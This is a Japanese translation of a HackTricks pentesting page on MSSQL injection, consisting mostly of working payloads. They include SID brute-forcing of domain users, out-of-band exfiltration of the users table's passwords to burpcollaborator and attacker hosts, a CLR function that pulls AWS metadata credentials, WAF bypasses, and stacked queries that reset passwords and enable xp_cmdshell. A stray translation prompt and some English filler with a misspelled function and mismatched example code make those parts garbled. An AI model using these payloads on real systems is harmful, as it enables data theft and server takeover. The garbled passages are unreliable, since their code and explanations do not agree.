21 KiB
MSSQLインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Active Directoryの列挙
MSSQLサーバー内でのSQLインジェクションを使用して、次のMSSQL関数を使用してドメインユーザーを列挙することができる場合があります。
SELECT DEFAULT_DOMAIN()
: 現在のドメイン名を取得します。master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: ドメインの名前を知っている場合(この例では_DOMAIN_)、この関数は16進数形式でユーザーAdministratorのSIDを返します。これは0x01050000000[...]0000f401
のように見えます。最後の4バイトは、ビッグエンディアン形式での数値500であり、これはユーザーadministratorの一般的なIDです。
この関数を使用すると、最後の4バイト以外のドメインのIDを知ることができます。SUSER_SNAME(0x01050000000[...]0000e803)
: この関数は、指定されたIDのユーザー名を返します(存在する場合)。この場合、0000e803はビッグエンディアンで1000です(通常、これは最初の通常のユーザーIDのIDです)。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
代替エラーベースのベクトル
エラーベースのSQLインジェクションは通常、+AND+1=@@version--
といった構造を持ち、また「OR」演算子に基づくバリアントも存在します。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、特定の関数呼び出しの結果に%2b文字を使用して文字列を連結し、求めているデータにデータ型変換エラーを引き起こす関数をトリガーします。
このような関数の例:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
関数USER_NAME()
の使用例:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
SSRF(Server-Side Request Forgery)は、攻撃者がサーバー内のリソースにアクセスするためにサーバーを利用する攻撃手法です。
この攻撃手法は、fn_xe_file_target_read_file
という関数を悪用して実行されます。この関数は、SQL Serverの拡張イベントファイルからデータを読み取るために使用されます。
攻撃者は、この関数を使用してサーバー内のファイルにアクセスし、機密情報を取得することができます。この攻撃手法を防ぐためには、適切な入力検証とアクセス制御の実装が必要です。
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
権限: サーバー上で**VIEW SERVER STATE
**権限が必要です。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
fn_get_audit_file
は、Microsoft SQL Serverの組み込み関数の1つです。この関数は、指定されたパスにある監査ファイルの内容を返します。この関数は、SQLインジェクション攻撃の潜在的な脆弱性を持っています。
攻撃者は、fn_get_audit_file
関数を使用して、SQLクエリ内に悪意のあるコードを挿入することができます。これにより、攻撃者はデータベース内の機密情報を取得したり、データベースを破壊したりすることができます。
SQLインジェクション攻撃を防ぐためには、入力検証とパラメータ化クエリの使用が重要です。入力検証は、入力データが予期しないコードを含んでいないことを確認するために行われます。パラメータ化クエリは、SQLクエリ内の変数を使用してクエリを構築する方法です。これにより、攻撃者がSQLコードを直接挿入することができなくなります。
SQLインジェクション攻撃は、データベースセキュリティの重要な脅威です。開発者とシステム管理者は、適切なセキュリティ対策を実施することで、この脅威からデータベースを保護する必要があります。
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
権限: CONTROL SERVER
権限が必要です。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
fn_trace_gettabe
is a built-in function in Microsoft SQL Server that allows you to retrieve information from trace files. This function can be vulnerable to SQL injection attacks if user input is not properly sanitized.
To exploit this vulnerability, an attacker can manipulate the input parameter of the fn_trace_gettabe
function to execute arbitrary SQL queries. This can lead to unauthorized access, data manipulation, or even complete compromise of the database.
To prevent SQL injection attacks, it is crucial to use parameterized queries or prepared statements when interacting with user input. These techniques ensure that user input is treated as data and not as executable code.
Here is an example of a vulnerable code snippet:
DECLARE @traceid INT
DECLARE @tablename NVARCHAR(100)
SET @traceid = 1
SET @tablename = 'mytable'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'SELECT * FROM fn_trace_gettabe(' + CAST(@traceid AS NVARCHAR(10)) + ', default)'
EXEC sp_executesql @sql
In this example, the @tablename
variable is directly concatenated into the SQL query without any sanitization. An attacker can exploit this by providing a malicious input that alters the intended query.
To mitigate this vulnerability, the code should be modified to use parameterized queries:
DECLARE @traceid INT
DECLARE @tablename NVARCHAR(100)
SET @traceid = 1
SET @tablename = 'mytable'
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'SELECT * FROM fn_trace_gettabe(@traceid, default)'
EXEC sp_executesql @sql, N'@traceid INT', @traceid
By using parameterized queries, the user input is treated as a parameter and not as part of the SQL query, effectively preventing SQL injection attacks.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
権限: CONTROL SERVER
権限が必要です。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャxp_dirtree
を使用することです。これはMicrosoftによって公式には文書化されていないため、インターネット上の他の人々によって文書化されています。この方法は、Out of Band Data exfiltrationの投稿で複数の例で使用されています。
基本的には、
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
MySQLのLOAD_FILE
と同様に、xp_dirtree
を使用してネットワークリクエストをTCPポート445に送信することができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。
**注意:**これは、デフォルトの設定でWindows Server 2016 Datacenter
上で実行されているMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
では機能しません。
他にも、master..xp_fileexist
のようなストアドプロシージャや**xp_subdirs
**など、同様の結果を得るために使用できるストアドプロシージャがあります。
xp_cmdshell
もちろん、xp_cmdshell
を使用してSSRFをトリガーする何かを実行することもできます。詳細については、次のページの該当セクションを読んでください:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQLユーザー定義関数 - SQLHttp
CLR UDF(Common Language Runtime User Defined Function - .NET言語で書かれ、DLLにコンパイルされたコード)を書き、MSSQL内でカスタム関数としてロードすることは非常に簡単です。ただし、これにはdbo
アクセスが必要ですので、Webアプリケーションのデータベースへの接続がsa
または管理者の役割である場合にのみ機能します。
このGithubリポジトリには、Visual Studioプロジェクトとインストール手順があります。これにより、バイナリをCLRアセンブリとしてMSSQLにロードし、MSSQL内からHTTP GETリクエストを呼び出すことができます。
http.cs
のコードでは、WebClient
クラスを使用してGETリクエストを行い、コンテンツを取得します。
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
インストール手順では、CREATE ASSEMBLY
クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加します(select * from sys.trusted_assemblies;
を使用してリストを確認できます)。
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行います。
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
クイックな攻撃: 1つのクエリでテーブル全体を取得する
1つのクエリでテーブルの全内容を取得するためには、FOR XMLまたはFOR JSON句を使用する方法があります。FOR XML句は「raw」といった指定されたモードが必要ですが、簡潔さの観点からFOR JSONが優れています。
現在のデータベースからスキーマ、テーブル、列を取得するクエリ:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
エラーベースのベクターは、エイリアスまたは名前が必要です。エイリアスや名前がない場合、式の出力をJSON形式でフォーマットすることはできません。
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
現在のクエリの取得
実行中のSQLクエリは、sys.dm_exec_requests
とsys.dm_exec_sql_text
へのアクセスから取得できます。
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
権限: ユーザーがサーバー上でVIEW SERVER STATE権限を持っている場合、ユーザーはSQL Serverのインスタンス上で実行中のすべてのセッションを表示します。それ以外の場合、ユーザーは現在のセッションのみを表示します。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
WAFバイパスのための小技
非標準の空白文字: %C2%85または%C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
UNIONを曖昧化するための科学的(0e)および16進(0x)表記法:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
FROMと列名の間には、スペースの代わりにピリオドを使用します。
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
SELECTと使い捨てのカラムの間の\Nセパレーター:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAFバイパスと非伝統的なスタッククエリ
このブログ記事によると、MSSQLでは";"を使用せずにクエリをスタックすることが可能です。
例えば、複数のクエリを以下のようにスタックすることができます:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
以下は、SQLインジェクションに関するハッキング技術についての本の内容です。次の内容は、ファイルpentesting-web/sql-injection/mssql-injection.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、"leak"という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の内容は追加しないでください。
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
したがって、この種のクエリのスタックを考慮しないさまざまなWAFをバイパスすることが可能です。例えば:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
参考文献
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。